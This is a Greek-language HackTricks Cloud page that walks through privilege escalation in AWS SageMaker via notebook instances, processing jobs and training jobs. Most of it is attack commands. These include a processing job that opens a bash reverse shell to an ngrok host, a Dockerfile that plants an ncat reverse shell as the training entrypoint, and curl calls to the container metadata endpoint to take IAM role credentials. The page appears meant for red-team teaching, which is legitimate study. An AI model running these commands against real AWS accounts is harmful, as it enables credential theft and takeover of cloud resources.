AWS - Sagemaker Privesc

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Ξεκινήστε τη δημιουργία ενός notebook με τον ρόλο IAM που έχει πρόσβαση σε αυτόν που είναι συνδεδεμένος:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Η απάντηση θα περιέχει ένα πεδίο NotebookInstanceArn, το οποίο θα περιέχει το ARN της νέας δημιουργημένης παρουσίας σημειωματαρίου. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API create-presigned-notebook-instance-url για να δημιουργήσουμε ένα URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στην παρουσία σημειωματαρίου όταν είναι έτοιμη:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Πλοηγηθείτε στο URL με τον περιηγητή και κάντε κλικ στο "Άνοιγμα JupyterLab" στην πάνω δεξιά γωνία, στη συνέχεια κατέβετε στην καρτέλα "Εκκινητής" και κάτω από την ενότητα "Άλλα", κάντε κλικ στο κουμπί "Τερματικό".

Τώρα είναι δυνατή η πρόσβαση στα διαπιστευτήρια μεταδεδομένων του IAM Role.

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας sagemaker.

sagemaker:CreatePresignedNotebookInstanceUrl

Εάν υπάρχουν ήδη εκτελούμενα Jupyter notebooks σε αυτό και μπορείτε να τα καταγράψετε με την εντολή sagemaker:ListNotebookInstances (ή να τα ανακαλύψετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να δημιουργήσετε ένα URL για αυτά, να τα αποκτήσετε πρόσβαση και να κλέψετε τα διαπιστευτήρια, όπως περιγράφεται στην προηγούμενη τεχνική.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον ρόλο υπηρεσίας sagemaker.

sagemaker:CreateProcessingJob,iam:PassRole

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να κάνει το sagemaker να εκτελέσει ένα processing job με έναν ρόλο sagemaker που είναι συνδεδεμένος με αυτό. Ο επιτιθέμενος μπορεί να καθορίσει τον ορισμό του container που θα εκτελεστεί σε ένα AWS managed ECS account instance και να κλέψει τα διαπιστευτήρια του ρόλου IAM που είναι συνδεδεμένος.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας sagemaker.

sagemaker:CreateTrainingJob, iam:PassRole

Ένας επιτιθέμενος με αυτές τις άδειες θα μπορεί να δημιουργήσει έναν εκπαιδευτικό έργο, εκτελώντας έναν αυθαίρετο container σε αυτόν με έναν συνδεδεμένο ρόλο. Επομένως, ο επιτιθέμενος θα μπορεί να κλέψει τα διαπιστευτήρια του ρόλου.

Αυτό το σενάριο είναι πιο δύσκολο να εκμεταλλευτείτε από το προηγούμενο, επειδή πρέπει να δημιουργήσετε ένα Docker image που θα στείλει τον αντίστροφο shell ή τα διαπιστευτήρια απευθείας στον επιτιθέμενο (δεν μπορείτε να υποδείξετε μια εντολή εκκίνησης στη διαμόρφωση του εκπαιδευτικού έργου).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Πιθανές Επιπτώσεις:** Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας sagemaker.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε (πιθανώς) να δημιουργήσει ένα **υπερπαράμετρο εκπαίδευσης**, **εκτελώντας έναν αυθαίρετο container** με έναν **ρόλο που του είναι επισυναπτόμενος**.\
_Δεν έχω εκμεταλλευτεί αυτό λόγω έλλειψης χρόνου, αλλά μοιάζει με τις προηγούμενες εκμεταλλεύσεις, μπορείτε να στείλετε ένα PR με τις λεπτομέρειες της εκμετάλλευσης._

# Αναφορές
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.

</details>

Last updated